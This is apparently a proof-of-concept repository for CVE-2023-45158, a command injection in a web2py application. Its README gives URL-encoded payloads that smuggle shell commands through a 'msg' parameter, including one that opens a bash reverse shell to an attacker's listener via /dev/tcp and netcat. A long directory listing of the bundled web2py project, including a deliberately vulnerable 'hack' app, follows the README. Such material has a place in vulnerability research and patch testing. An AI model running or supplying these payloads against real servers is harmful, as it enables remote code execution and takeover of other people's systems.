# CVE-2023-45158
# Steps
1. Run the webserver
```bash
cd web2py
python3 web2py.py
```
2. Inject your command using the URL ``http://<IP-ADDRESS>:8000/hack?msg=%27%3B<YOUR-COMMAND>%3B%27``. Replace ``<IP-ADDRESS>`` and ``<YOUR-COMMAND>`` with your values.
# Examples
1. Create a file on the server
``http://<IP-ADDRESS>:8000/hack?msg=%27%3Btouch%20hack%3B%27``
2. Reverse shell
On the attacker's machine, run ``nc -l 127.0.0.1 8080``
Go to URL ``http://<IP-ADDRESS>:8000/hack?msg=%27%3Bbash%20-i%20>%26/dev/tcp/<ATTACKER-IP>/8080%200>%26%201%3B%27``. Replace ``<ATTACKER-IP>``.
[4.0K] /data/pocs/7eae4c5ee89a4559ec8c53aceaba8cfcfbe7cd02
├── [ 584] README.md
└── [4.0K] web2py
├── [ 214] ABOUT
├── [ 13K] anyserver.py
├── [4.0K] applications
│ ├── [4.0K] admin
│ │ ├── [ 214] ABOUT
│ │ ├── [4.0K] controllers
│ │ │ ├── [ 25K] appadmin.py
│ │ │ ├── [7.7K] debug.py
│ │ │ ├── [ 74K] default.py
│ │ │ ├── [3.6K] gae.py
│ │ │ ├── [2.5K] mercurial.py
│ │ │ ├── [2.3K] openshift.py
│ │ │ ├── [ 125] plugin_jqmobile.py
│ │ │ ├── [3.6K] pythonanywhere.py
│ │ │ ├── [ 774] toolbar.py
│ │ │ ├── [3.4K] webservices.py
│ │ │ └── [ 23K] wizard.py
│ │ ├── [4.0K] cron
│ │ │ └── [ 906] expire_sessions.py
│ │ ├── [ 1] __init__.py
│ │ ├── [4.0K] languages
│ │ │ ├── [ 38K] af.py
│ │ │ ├── [ 38K] bg.py
│ │ │ ├── [ 39K] cs.py
│ │ │ ├── [ 42K] de.py
│ │ │ ├── [ 38K] en.py
│ │ │ ├── [ 39K] es.py
│ │ │ ├── [ 40K] fr.py
│ │ │ ├── [ 40K] he.py
│ │ │ ├── [ 39K] it.py
│ │ │ ├── [ 40K] ja.py
│ │ │ ├── [ 41K] my-mm.py
│ │ │ ├── [ 39K] nl.py
│ │ │ ├── [ 39K] pl.py
│ │ │ ├── [ 150] plural-en.py
│ │ │ ├── [ 174] plural-ru.py
│ │ │ ├── [ 276] plural-uk.py
│ │ │ ├── [ 39K] pt-br.py
│ │ │ ├── [ 39K] pt.py
│ │ │ ├── [ 39K] ro.py
│ │ │ ├── [ 42K] ru.py
│ │ │ ├── [ 38K] sl.py
│ │ │ ├── [ 44K] sr-cr.py
│ │ │ ├── [ 39K] sr-lt.py
│ │ │ ├── [ 39K] tr.py
│ │ │ ├── [ 51K] uk.py
│ │ │ ├── [ 37K] zh.py
│ │ │ └── [ 38K] zh-tw.py
│ │ ├── [5.6K] LICENSE
│ │ ├── [4.0K] models
│ │ │ ├── [ 707] 0_imports.py
│ │ │ ├── [1.7K] 0.py
│ │ │ ├── [6.2K] access.py
│ │ │ ├── [1.2K] buttons.py
│ │ │ ├── [1.5K] db.py
│ │ │ ├── [1.5K] menu.py
│ │ │ ├── [ 231] plugin_multiselect.py
│ │ │ └── [ 735] plugin_statebutton.py
│ │ ├── [4.0K] modules
│ │ │ ├── [ 1] __init__.py
│ │ │ └── [4.0K] __pycache__
│ │ │ ├── [ 193] __init__.cpython-311.pyc
│ │ │ └── [ 171] __init__.cpython-37.pyc
│ │ ├── [4.0K] private
│ │ │ └── [ 0] hosts.deny
│ │ ├── [4.0K] __pycache__
│ │ │ ├── [ 185] __init__.cpython-311.pyc
│ │ │ └── [ 163] __init__.cpython-37.pyc
│ │ ├── [4.0K] sessions
│ │ │ ├── [4.0K] 0fa
│ │ │ │ └── [4.0K] 151
│ │ │ │ └── [ 608] 127.0.0.1-c80f0f9e-f07b-48a7-92b0-ef40ad03501c
│ │ │ └── [4.0K] 18d
│ │ │ └── [4.0K] 011
│ │ │ └── [ 657] 127.0.0.1-23bdb4be-0d45-4019-b951-ce1e0e05b7d4
│ │ ├── [ 270] settings.cfg
│ │ ├── [4.0K] static
│ │ │ ├── [4.0K] codemirror
│ │ │ │ ├── [4.0K] addon
│ │ │ │ │ ├── [4.0K] comment
│ │ │ │ │ │ ├── [7.8K] comment.js
│ │ │ │ │ │ └── [3.3K] continuecomment.js
│ │ │ │ │ ├── [4.0K] dialog
│ │ │ │ │ │ ├── [ 502] dialog.css
│ │ │ │ │ │ └── [4.8K] dialog.js
│ │ │ │ │ ├── [4.0K] display
│ │ │ │ │ │ ├── [ 116] fullscreen.css
│ │ │ │ │ │ ├── [1.5K] fullscreen.js
│ │ │ │ │ │ ├── [3.0K] panel.js
│ │ │ │ │ │ ├── [1.9K] placeholder.js
│ │ │ │ │ │ └── [2.1K] rulers.js
│ │ │ │ │ ├── [4.0K] edit
│ │ │ │ │ │ ├── [6.3K] closebrackets.js
│ │ │ │ │ │ ├── [7.4K] closetag.js
│ │ │ │ │ │ ├── [1.7K] continuelist.js
│ │ │ │ │ │ ├── [5.1K] matchbrackets.js
│ │ │ │ │ │ ├── [2.3K] matchtags.js
│ │ │ │ │ │ └── [1003] trailingspace.js
│ │ │ │ │ ├── [4.0K] fold
│ │ │ │ │ │ ├── [3.8K] brace-fold.js
│ │ │ │ │ │ ├── [2.0K] comment-fold.js
│ │ │ │ │ │ ├── [4.6K] foldcode.js
│ │ │ │ │ │ ├── [ 435] foldgutter.css
│ │ │ │ │ │ ├── [4.4K] foldgutter.js
│ │ │ │ │ │ ├── [1.6K] indent-fold.js
│ │ │ │ │ │ ├── [1.6K] markdown-fold.js
│ │ │ │ │ │ └── [6.4K] xml-fold.js
│ │ │ │ │ ├── [4.0K] hint
│ │ │ │ │ │ ├── [1.6K] anyword-hint.js
│ │ │ │ │ │ ├── [1.9K] css-hint.js
│ │ │ │ │ │ ├── [ 11K] html-hint.js
│ │ │ │ │ │ ├── [6.0K] javascript-hint.js
│ │ │ │ │ │ ├── [3.5K] python-hint.js
│ │ │ │ │ │ ├── [ 662] show-hint.css
│ │ │ │ │ │ ├── [ 14K] show-hint.js
│ │ │ │ │ │ ├── [7.1K] sql-hint.js
│ │ │ │ │ │ └── [4.6K] xml-hint.js
│ │ │ │ │ ├── [4.0K] mode
│ │ │ │ │ │ ├── [2.2K] loadmode.js
│ │ │ │ │ │ ├── [4.1K] multiplex.js
│ │ │ │ │ │ ├── [ 810] multiplex_test.js
│ │ │ │ │ │ ├── [3.0K] overlay.js
│ │ │ │ │ │ └── [7.7K] simple.js
│ │ │ │ │ ├── [4.0K] search
│ │ │ │ │ │ ├── [ 188] matchesonscrollbar.css
│ │ │ │ │ │ ├── [3.6K] matchesonscrollbar.js
│ │ │ │ │ │ ├── [4.8K] match-highlighter.js
│ │ │ │ │ │ ├── [7.5K] searchcursor.js
│ │ │ │ │ │ └── [7.0K] search.js
│ │ │ │ │ └── [4.0K] selection
│ │ │ │ │ ├── [2.4K] active-line.js
│ │ │ │ │ ├── [3.7K] mark-selection.js
│ │ │ │ │ └── [3.2K] selection-pointer.js
│ │ │ │ ├── [145K] emmet.min.js
│ │ │ │ ├── [4.0K] keymap
│ │ │ │ │ ├── [ 13K] emacs.js
│ │ │ │ │ ├── [ 20K] sublime.js
│ │ │ │ │ └── [189K] vim.js
│ │ │ │ ├── [4.0K] lib
│ │ │ │ │ ├── [7.2K] codemirror.css
│ │ │ │ │ └── [314K] codemirror.js
│ │ │ │ ├── [4.0K] mode
│ │ │ │ │ ├── [4.0K] css
│ │ │ │ │ │ ├── [ 33K] css.js
│ │ │ │ │ │ ├── [1.7K] less_test.js
│ │ │ │ │ │ ├── [3.1K] scss_test.js
│ │ │ │ │ │ └── [6.4K] test.js
│ │ │ │ │ ├── [4.0K] htmlmixed
│ │ │ │ │ │ └── [4.9K] htmlmixed.js
│ │ │ │ │ ├── [4.0K] javascript
│ │ │ │ │ │ ├── [ 26K] javascript.js
│ │ │ │ │ │ └── [7.3K] test.js
│ │ │ │ │ ├── [4.0K] python
│ │ │ │ │ │ └── [ 13K] python.js
│ │ │ │ │ └── [4.0K] xml
│ │ │ │ │ ├── [1.7K] test.js
│ │ │ │ │ └── [ 12K] xml.js
│ │ │ │ └── [4.0K] theme
│ │ │ │ ├── [1.6K] 3024-day.css
│ │ │ │ ├── [1.6K] 3024-night.css
│ │ │ │ ├── [ 25K] ambiance.css
│ │ │ │ ├── [ 103] ambiance-mobile.css
│ │ │ │ ├── [1.7K] base16-dark.css
│ │ │ │ ├── [1.7K] base16-light.css
│ │ │ │ ├── [1.5K] blackboard.css
│ │ │ │ ├── [1.3K] cobalt.css
│ │ │ │ ├── [1.6K] colorforth.css
│ │ │ │ ├── [1.1K] eclipse.css
│ │ │ │ ├── [ 768] elegant.css
│ │ │ │ ├── [1.8K] erlang-dark.css
│ │ │ │ ├── [2.1K] lesser-dark.css
│ │ │ │ ├── [1.7K] mbo.css
│ │ │ │ ├── [4.7K] mdn-like.css
│ │ │ │ ├── [1.7K] midnight.css
│ │ │ │ ├── [1.3K] monokai.css
│ │ │ │ ├── [ 693] neat.css
│ │ │ │ ├── [ 932] neo.css
│ │ │ │ ├── [1.4K] night.css
│ │ │ │ ├── [1.6K] paraiso-dark.css
│ │ │ │ ├── [1.6K] paraiso-light.css
│ │ │ │ ├── [2.0K] pastel-on-dark.css
│ │ │ │ ├── [1.4K] rubyblue.css
│ │ │ │ ├── [4.4K] solarized.css
│ │ │ │ ├── [1.4K] the-matrix.css
│ │ │ │ ├── [1.7K] tomorrow-night-bright.css
│ │ │ │ ├── [1.9K] tomorrow-night-eighties.css
│ │ │ │ ├── [1.7K] twilight.css
│ │ │ │ ├── [1.7K] vibrant-ink.css
│ │ │ │ ├── [1.2K] web2py.css
│ │ │ │ ├── [2.5K] xq-dark.css
│ │ │ │ ├── [2.2K] xq-light.css
│ │ │ │ └── [1.9K] zenburn.css
│ │ │ ├── [4.0K] css
│ │ │ │ ├── [ 19K] bootstrap_essentials.css
│ │ │ │ ├── [104K] bootstrap.min.css
│ │ │ │ ├── [ 16K] bootstrap-responsive.min.css
│ │ │ │ ├── [2.9K] calendar.css
│ │ │ │ ├── [ 740] d3_graph.css
│ │ │ │ ├── [ 755] jqueryMultiSelect.css
│ │ │ │ ├── [1.9K] typeahead.js-bootstrap.css
│ │ │ │ └── [1.3K] web2py-codemirror.css
│ │ │ ├── [4.0K] images
│ │ │ │ ├── [4.6K] chat.png
│ │ │ │ ├── [ 855] delete_icon.png
│ │ │ │ ├── [ 424] dim_bullet.gif
│ │ │ │ ├── [ 310] embossed.png
│ │ │ │ ├── [1.3K] files_toggle.png
│ │ │ │ ├── [ 932] folder_locked.png
│ │ │ │ ├── [ 823] folder.png
│ │ │ │ ├── [ 764] folder_sm.png
│ │ │ │ ├── [ 12K] glyphicons-halflings.png
│ │ │ │ ├── [8.6K] glyphicons-halflings-white.png
│ │ │ │ ├── [ 149] header_bg.png
│ │ │ │ ├── [ 143] header_shadow.png
│ │ │ │ ├── [ 450] help.png
│ │ │ │ ├── [1.4K] menu.png
│ │ │ │ ├── [1.5K] menu_responsive.png
│ │ │ │ ├── [4.9K] questions.png
│ │ │ │ ├── [ 630] red_bullet.gif
│ │ │ │ ├── [ 762] save_icon.png
│ │ │ │ ├── [ 688] search.png
│ │ │ │ ├── [ 718] section_bullet.png
│ │ │ │ ├── [ 430] sidebar_background.jpg
│ │ │ │ ├── [ 426] sidebar_bullet.gif
│ │ │ │ ├── [1.3K] small_button.png
│ │ │ │ ├── [1.4K] small_special_button.png
│ │ │ │ ├── [155K] spinner.gif
│ │ │ │ ├── [5.4K] start.png
│ │ │ │ ├── [ 879] test_icon.png
│ │ │ │ └── [ 718] ticket_section.png
│ │ │ ├── [4.0K] js
│ │ │ │ ├── [8.9K] ajax_editor.js
│ │ │ │ ├── [ 13K] analytics.min.js
│ │ │ │ ├── [2.0K] autoscroll.js
│ │ │ │ ├── [ 28K] bootstrap.min.js
│ │ │ │ ├── [ 44K] calendar.js
│ │ │ │ ├── [5.9K] d3_graph.js
│ │ │ │ ├── [211K] d3.min.js
│ │ │ │ ├── [6.9K] dd_belatedpng.js
│ │ │ │ ├── [6.2K] hogan-2.0.0.js
│ │ │ │ ├── [104K] jquery.flot.js
│ │ │ │ ├── [2.4K] jquery.flot.resize.js
│ │ │ │ ├── [ 10K] jquery.hotkeys.js
│ │ │ │ ├── [ 85K] jquery.js
│ │ │ │ ├── [ 11K] jqueryMultiSelect.js
│ │ │ │ ├── [ 15K] modernizr.custom.js
│ │ │ │ ├── [2.6K] share.js
│ │ │ │ ├── [ 21K] typeahead.min.js
│ │ │ │ ├── [1.5K] web2py_bootstrap.js
│ │ │ │ └── [ 35K] web2py.js
│ │ │ ├── [4.0K] plugin_jqmobile
│ │ │ │ ├── [6.9K] dd_belatedpng.js
│ │ │ │ ├── [4.0K] images
│ │ │ │ │ ├── [ 366] ajax-loader.png
│ │ │ │ │ ├── [2.1K] icons-18-black.png
│ │ │ │ │ ├── [1.9K] icons-18-white.png
│ │ │ │ │ ├── [4.2K] icons-36-black.png
│ │ │ │ │ ├── [3.7K] icons-36-white.png
│ │ │ │ │ └── [ 98K] iphone.jpg
│ │ │ │ ├── [ 71K] jquery.mobile-1.2.0.min.css
│ │ │ │ ├── [111K] jquery.mobile-1.2.0.min.js
│ │ │ │ ├── [ 92K] jquery.mobile-1.3.1.min.css
│ │ │ │ └── [141K] jquery.mobile-1.3.1.min.js
│ │ │ ├── [4.0K] plugin_multiselect
│ │ │ │ ├── [ 13K] jquery.multi-select.js
│ │ │ │ ├── [2.2K] multi-select.css
│ │ │ │ ├── [ 141] start.js
│ │ │ │ └── [3.0K] switch.png
│ │ │ └── [4.0K] plugin_statebutton
│ │ │ ├── [4.0K] css
│ │ │ │ └── [ 14K] bootstrap-switch.css
│ │ │ └── [4.0K] js
│ │ │ └── [ 13K] bootstrap-switch.js
│ │ └── [4.0K] views
│ │ ├── [ 11K] appadmin.html
│ │ ├── [4.0K] debug
│ │ │ ├── [6.4K] breakpoints.html
│ │ │ ├── [3.7K] index.html
│ │ │ └── [8.2K] interact.html
│ │ ├── [4.0K] default
│ │ │ ├── [1.1K] about.html
│ │ │ ├── [ 575] bulk_register.html
│ │ │ ├── [ 719] change_password.html
│ │ │ ├── [ 432] delete.html
│ │ │ ├── [ 453] delete_plugin.html
│ │ │ ├── [ 23K] design.html
│ │ │ ├── [ 14K] edit.html
│ │ │ ├── [7.2K] edit_js.html
│ │ │ ├── [ 836] edit_language.html
│ │ │ ├── [ 448] editor_sessions.html
│ │ │ ├── [2.7K] editor_settings.html
│ │ │ ├── [ 806] editor_shortcuts.html
│ │ │ ├── [ 404] edit_plurals.html
│ │ │ ├── [6.2K] errors.html
│ │ │ ├── [ 51] files_menu.html
│ │ │ ├── [ 418] git_pull.html
│ │ │ ├── [ 334] git_push.html
│ │ │ ├── [ 939] index.html
│ │ │ ├── [ 477] install_plugin.html
│ │ │ ├── [7.1K] manage_students.html
│ │ │ ├── [1.1K] pack_custom.html
│ │ │ ├── [ 556] peek.html
│ │ │ ├── [8.0K] plugin.html
│ │ │ ├── [1.4K] plugins.html
│ │ │ ├── [ 783] resolve.html
│ │ │ ├── [6.8K] site.html
│ │ │ ├── [1.2K] test.html
│ │ │ ├── [4.8K] ticket.html
│ │ │ ├── [4.7K] ticket.load
│ │ │ ├── [ 915] todolist.load
│ │ │ ├── [ 947] twitter.load
│ │ │ ├── [ 205] uninstall.html
│ │ │ ├── [ 666] upgrade_web2py.html
│ │ │ └── [2.2K] user.html
│ │ ├── [4.0K] default.mobile
│ │ │ ├── [ 374] about.html
│ │ │ ├── [ 145] change_password.html
│ │ │ ├── [ 441] delete.html
│ │ │ ├── [ 314] delete_plugin.html
│ │ │ ├── [7.8K] design.html
│ │ │ ├── [ 562] downgrade_web2py.html
│ │ │ ├── [2.2K] edit.html
│ │ │ ├── [ 371] edit_language.html
│ │ │ ├── [4.8K] errors.html
│ │ │ ├── [ 433] git_pull.html
│ │ │ ├── [ 418] git_push.html
│ │ │ ├── [ 757] index.html
│ │ │ ├── [4.5K] layout.html
│ │ │ ├── [ 387] peek.html
│ │ │ ├── [6.1K] plugin.html
│ │ │ ├── [ 697] resolve.html
│ │ │ ├── [1.8K] site.html
│ │ │ ├── [ 979] test.html
│ │ │ ├── [4.5K] ticket.html
│ │ │ ├── [4.7K] ticket.load
│ │ │ ├── [ 320] uninstall.html
│ │ │ ├── [ 550] upgrade_web2py.html
│ │ │ └── [ 605] user.html
│ │ ├── [4.0K] gae
│ │ │ └── [1.3K] deploy.html
│ │ ├── [ 438] generic.html
│ │ ├── [5.6K] layout.html
│ │ ├── [4.0K] mercurial
│ │ │ ├── [ 818] commit.html
│ │ │ └── [ 224] revision.html
│ │ ├── [4.0K] openshift
│ │ │ └── [1.5K] deploy.html
│ │ ├── [4.0K] plugin_jqmobile
│ │ │ ├── [2.0K] about.html
│ │ │ ├── [ 848] index.html
│ │ │ └── [4.5K] layout.html
│ │ ├── [4.0K] pythonanywhere
│ │ │ └── [7.0K] deploy.html
│ │ ├── [4.0K] toolbar
│ │ │ └── [ 726] index.html
│ │ ├── [ 821] web2py_ajax.html
│ │ └── [4.0K] wizard
│ │ ├── [ 664] generated.html
│ │ └── [8.6K] step.html
│ ├── [4.0K] examples
│ │ ├── [ 214] ABOUT
│ │ ├── [4.0K] controllers
│ │ │ ├── [ 390] ajax_examples.py
│ │ │ ├── [ 25K] appadmin.py
│ │ │ ├── [1.6K] cache_examples.py
│ │ │ ├── [2.5K] default.py
│ │ │ ├── [ 846] form_examples.py
│ │ │ ├── [1.4K] global.py
│ │ │ ├── [ 906] layout_examples.py
│ │ │ ├── [ 206] session_examples.py
│ │ │ ├── [2.9K] simple_examples.py
│ │ │ ├── [2.4K] soap_examples.py
│ │ │ ├── [ 310] spreadsheet.py
│ │ │ └── [ 420] template_examples.py
│ │ ├── [4.0K] cron
│ │ │ └── [ 8] crontab
│ │ ├── [ 1] __init__.py
│ │ ├── [4.0K] languages
│ │ │ └── [ 1] README
│ │ ├── [6.7K] LICENSE
│ │ ├── [4.0K] models
│ │ │ ├── [1.7K] feeds_reader.py
│ │ │ ├── [1.1K] markmin.py
│ │ │ ├── [1.9K] menu.py
│ │ │ └── [ 156] session.py
│ │ ├── [4.0K] private
│ │ │ └── [4.0K] content
│ │ │ └── [4.0K] en
│ │ │ └── [4.0K] default
│ │ │ ├── [4.0K] documentation
│ │ │ │ ├── [ 320] community.markmin
│ │ │ │ ├── [ 177] main.markmin
│ │ │ │ ├── [1.3K] more.markmin
│ │ │ │ └── [ 798] official.markmin
│ │ │ ├── [4.0K] index
│ │ │ │ ├── [ 466] maincontent.markmin
│ │ │ │ └── [5.6K] whyweb2py.markmin
│ │ │ ├── [4.0K] usergroups
│ │ │ │ └── [1.2K] grouplist.markmin
│ │ │ └── [4.0K] what
│ │ │ └── [6.1K] whyweb2py.markmin
│ │ ├── [4.0K] static
│ │ │ ├── [ 4] 403.html
│ │ │ ├── [ 4] 404.html
│ │ │ ├── [ 4] 500.html
│ │ │ ├── [ 67] 503.html
│ │ │ ├── [1.8M] artwork.tar.gz
│ │ │ ├── [4.0K] css
│ │ │ │ ├── [3.0K] artwork.css
│ │ │ │ ├── [1.2K] calendar.css
│ │ │ │ ├── [2.2K] examples.css
│ │ │ │ ├── [ 14K] stupid.css
│ │ │ │ └── [5.3K] web2py.css
│ │ │ ├── [1.1K] favicon.ico
│ │ │ ├── [4.0K] images
│ │ │ │ ├── [ 18K] book-4th.png
│ │ │ │ ├── [ 29K] book-5th.png
│ │ │ │ ├── [ 34K] book-recipes.png
│ │ │ │ ├── [ 991] facebook.png
│ │ │ │ ├── [ 198] favicon.ico
│ │ │ │ ├── [ 323] favicon.png
│ │ │ │ ├── [1.5K] gplus-32.png
│ │ │ │ ├── [ 25K] infoworld2012.jpeg
│ │ │ │ ├── [149K] logo_bw.png
│ │ │ │ ├── [232K] logo_db.png
│ │ │ │ ├── [212K] logo_lb.png
│ │ │ │ ├── [ 162] menu.png
│ │ │ │ ├── [4.1K] poweredby.png
│ │ │ │ ├── [5.7K] questions.png
│ │ │ │ ├── [9.5K] shadow-bottom.png
│ │ │ │ ├── [4.0K] Stickers1.png
│ │ │ │ ├── [4.1K] Stickers2.png
│ │ │ │ ├── [3.6K] Stickers3.png
│ │ │ │ ├── [3.3K] Stickers4.png
│ │ │ │ ├── [3.1K] Stickers5.png
│ │ │ │ ├── [3.2K] Stickers6.png
│ │ │ │ ├── [3.5K] Stickers7.png
│ │ │ │ ├── [3.3K] Stickers8.png
│ │ │ │ ├── [ 77K] stripes.png
│ │ │ │ ├── [ 58K] tag-cloud-color-small.png
│ │ │ │ ├── [1.1K] twitter.png
│ │ │ │ ├── [ 28K] videos.png
│ │ │ │ └── [9.7K] web2py_logo.png
│ │ │ ├── [4.0K] js
│ │ │ │ ├── [ 13K] analytics.min.js
│ │ │ │ ├── [ 51K] calendar.js
│ │ │ │ ├── [ 85K] jquery.js
│ │ │ │ ├── [2.6K] share.js
│ │ │ │ └── [ 35K] web2py.js
│ │ │ ├── [ 16K] markmin.html
│ │ │ ├── [ 78] robots.txt
│ │ │ ├── [ 11K] title.png
│ │ │ ├── [124K] web2py_cheatsheet.pdf
│ │ │ ├── [ 38K] web2py_contributor_agreement.pdf
│ │ │ └── [9.7K] web2py_logo.png
│ │ └── [4.0K] views
│ │ ├── [4.0K] ajax_examples
│ │ │ ├── [ 225] fade.html
│ │ │ └── [ 327] index.html
│ │ ├── [ 11K] appadmin.html
│ │ ├── [4.0K] cache_examples
│ │ │ └── [ 79] generic.html
│ │ ├── [4.0K] database_examples
│ │ │ ├── [ 185] buy.html
│ │ │ ├── [ 103] register_dog.html
│ │ │ ├── [ 105] register_person.html
│ │ │ └── [ 111] register_product.html
│ │ ├── [4.0K] default
│ │ │ ├── [ 77] changelog.html
│ │ │ ├── [ 437] documentation.html
│ │ │ ├── [7.9K] download.html
│ │ │ ├── [ 38K] examples.html
│ │ │ ├── [3.6K] index.html
│ │ │ ├── [ 114] license.html
│ │ │ ├── [2.5K] support.html
│ │ │ ├── [ 113] usergroups.html
│ │ │ ├── [ 865] videos.html
│ │ │ ├── [1.2K] what.html
│ │ │ └── [7.7K] who.html
│ │ ├── [4.0K] form_examples
│ │ │ └── [ 93] form.html
│ │ ├── [ 438] generic.html
│ │ ├── [ 427] generic.json
│ │ ├── [ 183] generic.load
│ │ ├── [ 631] generic.rss
│ │ ├── [ 79] generic.xml
│ │ ├── [4.0K] global
│ │ │ └── [1.2K] vars.html
│ │ ├── [4.0K] images_examples
│ │ │ └── [ 79] index.html
│ │ ├── [4.0K] layout_examples
│ │ │ ├── [ 85] basic.html
│ │ │ ├── [ 127] civilized.html
│ │ │ ├── [4.1K] layout_civilized.html
│ │ │ ├── [4.8K] layout_sleek.html
│ │ │ └── [ 107] slick.html
│ │ ├── [2.7K] layout.html
│ │ ├── [4.0K] session_examples
│ │ │ └── [ 197] counter.html
│ │ ├── [4.0K] simple_examples
│ │ │ ├── [ 64] ajaxwiki.html
│ │ │ └── [ 48] hello3.html
│ │ ├── [4.0K] soap_examples
│ │ │ └── [ 184] generic.html
│ │ ├── [4.0K] spreadsheet
│ │ │ └── [ 834] index.html
│ │ ├── [4.0K] template_examples
│ │ │ ├── [ 77] beautify.html
│ │ │ ├── [ 102] escape.html
│ │ │ ├── [ 212] test_def.html
│ │ │ ├── [ 131] test_for.html
│ │ │ ├── [ 140] test_if.html
│ │ │ ├── [ 119] test_try.html
│ │ │ ├── [ 85] variables.html
│ │ │ └── [ 72] xml.html
│ │ └── [ 768] web2py_ajax.html
│ ├── [4.0K] hack
│ │ ├── [ 55] ABOUT
│ │ ├── [4.0K] controllers
│ │ │ ├── [ 25K] appadmin.py
│ │ │ └── [2.3K] default.py
│ │ ├── [4.0K] cron
│ │ │ └── [ 8] crontab
│ │ ├── [4.0K] databases
│ │ │ ├── [ 769] c8b669d15150d7109e5f7ab36744a5b7_auth_cas.table
│ │ │ ├── [ 787] c8b669d15150d7109e5f7ab36744a5b7_auth_event.table
│ │ │ ├── [ 393] c8b669d15150d7109e5f7ab36744a5b7_auth_group.table
│ │ │ ├── [ 560] c8b669d15150d7109e5f7ab36744a5b7_auth_membership.table
│ │ │ ├── [ 677] c8b669d15150d7109e5f7ab36744a5b7_auth_permission.table
│ │ │ ├── [ 930] c8b669d15150d7109e5f7ab36744a5b7_auth_user.table
│ │ │ ├── [1.7K] sql.log
│ │ │ └── [ 32K] storage.sqlite
│ │ ├── [4.0K] errors
│ │ │ ├── [ 46K] 127.0.0.1.2023-11-04.15-06-00.3952c4e2-69f8-4b11-a832-94210c3da2bd
│ │ │ ├── [ 46K] 127.0.0.1.2023-11-04.15-09-02.d4a320b0-809e-4e7d-a220-5704907da53f
│ │ │ └── [ 46K] 127.0.0.1.2023-11-04.15-09-56.d01cccb0-4ea4-4482-af24-9d80f7e34c15
│ │ ├── [ 1] __init__.py
│ │ ├── [4.0K] languages
│ │ │ ├── [ 15K] ar.py
│ │ │ ├── [ 15K] ca.py
│ │ │ ├── [ 14K] cs.py
│ │ │ ├── [ 15K] de.py
│ │ │ ├── [ 14K] en.py
│ │ │ ├── [ 15K] es.py
│ │ │ ├── [ 15K] fr-ca.py
│ │ │ ├── [ 15K] fr.py
│ │ │ ├── [ 15K] hi.py
│ │ │ ├── [ 14K] hu.py
│ │ │ ├── [ 14K] id.py
│ │ │ ├── [ 14K] it.py
│ │ │ ├── [ 18K] my-mm.py
│ │ │ ├── [ 14K] my.py
│ │ │ ├── [ 14K] nl.py
│ │ │ ├── [ 14K] pl.py
│ │ │ ├── [ 743] plural-cs.py
│ │ │ ├── [ 241] plural-en.py
│ │ │ ├── [ 144] plural-es.py
│ │ │ ├── [ 601] plural-ru.py
│ │ │ ├── [2.0K] plural-uk.py
│ │ │ ├── [ 14K] pt-br.py
│ │ │ ├── [ 14K] pt.py
│ │ │ ├── [ 14K] ro.py
│ │ │ ├── [ 15K] ru.py
│ │ │ ├── [ 14K] sk.py
│ │ │ ├── [ 14K] tr.py
│ │ │ ├── [ 17K] uk.py
│ │ │ ├── [ 14K] zh-cn.py
│ │ │ ├── [ 14K] zh.py
│ │ │ └── [ 14K] zh-tw.py
│ │ ├── [ 208] LICENSE
│ │ ├── [4.0K] models
│ │ │ ├── [7.6K] db.py
│ │ │ └── [5.1K] menu.py
│ │ ├── [4.0K] modules
│ │ │ └── [ 1] __init__.py
│ │ ├── [4.0K] private
│ │ │ └── [ 613] appconfig.ini
│ │ ├── [ 28] progress.log
│ │ ├── [2.3K] routes.example.py
│ │ ├── [4.0K] static
│ │ │ ├── [ 4] 403.html
│ │ │ ├── [ 4] 404.html
│ │ │ ├── [ 4] 500.html
│ │ │ ├── [ 67] 503.html
│ │ │ ├── [4.0K] css
│ │ │ │ ├── [141K] bootstrap.min.css
│ │ │ │ ├── [539K] bootstrap.min.css.map
│ │ │ │ ├── [2.9K] calendar.css
│ │ │ │ ├── [6.9K] web2py-bootstrap4.css
│ │ │ │ └── [8.2K] web2py.css
│ │ │ ├── [4.0K] images
│ │ │ │ ├── [ 323] background.jpg
│ │ │ │ ├── [ 991] facebook.png
│ │ │ │ ├── [ 198] favicon.ico
│ │ │ │ ├── [ 323] favicon.png
│ │ │ │ ├── [1.5K] gplus-32.png
│ │ │ │ └── [1.1K] twitter.png
│ │ │ └── [4.0K] js
│ │ │ ├── [233K] analytics.min.js
│ │ │ ├── [ 66K] bootstrap.bundle.min.js
│ │ │ ├── [267K] bootstrap.bundle.min.js.map
│ │ │ ├── [ 51K] calendar.js
│ │ │ ├── [ 85K] jquery.js
│ │ │ ├── [ 15K] modernizr-2.8.3.min.js
│ │ │ ├── [3.0K] web2py-bootstrap4.js
│ │ │ └── [ 36K] web2py.js
│ │ └── [4.0K] views
│ │ ├── [ 11K] appadmin.html
│ │ ├── [4.0K] default
│ │ │ ├── [2.4K] index.html
│ │ │ └── [1.2K] user.html
│ │ ├── [ 704] generic.csv
│ │ ├── [ 380] generic.html
│ │ ├── [ 518] generic.ics
│ │ ├── [ 69] generic.json
│ │ ├── [ 753] generic.jsonp
│ │ ├── [ 875] generic.load
│ │ ├── [2.7K] generic.map
│ │ ├── [ 300] generic.pdf
│ │ ├── [ 364] generic.rss
│ │ ├── [ 79] generic.xml
│ │ ├── [ 1] __init__.py
│ │ ├── [6.5K] layout.html
│ │ └── [ 821] web2py_ajax.html
│ ├── [ 1] __init__.py
│ ├── [4.0K] __pycache__
│ │ ├── [ 179] __init__.cpython-311.pyc
│ │ └── [ 157] __init__.cpython-37.pyc
│ └── [4.0K] welcome
│ ├── [ 55] ABOUT
│ ├── [4.0K] controllers
│ │ ├── [ 25K] appadmin.py
│ │ └── [2.1K] default.py
│ ├── [4.0K] cron
│ │ └── [ 8] crontab
│ ├── [4.0K] databases
│ │ ├── [ 627] c8b669d15150d7109e5f7ab36744a5b7_auth_cas.table
│ │ ├── [ 645] c8b669d15150d7109e5f7ab36744a5b7_auth_event.table
│ │ ├── [ 310] c8b669d15150d7109e5f7ab36744a5b7_auth_group.table
│ │ ├── [ 477] c8b669d15150d7109e5f7ab36744a5b7_auth_membership.table
│ │ ├── [ 556] c8b669d15150d7109e5f7ab36744a5b7_auth_permission.table
│ │ ├── [ 766] c8b669d15150d7109e5f7ab36744a5b7_auth_user.table
│ │ ├── [1.7K] sql.log
│ │ └── [ 32K] storage.sqlite
│ ├── [ 1] __init__.py
│ ├── [4.0K] languages
│ │ ├── [ 15K] ar.py
│ │ ├── [ 15K] ca.py
│ │ ├── [ 14K] cs.py
│ │ ├── [ 15K] de.py
│ │ ├── [ 14K] en.py
│ │ ├── [ 15K] es.py
│ │ ├── [ 15K] fr-ca.py
│ │ ├── [ 15K] fr.py
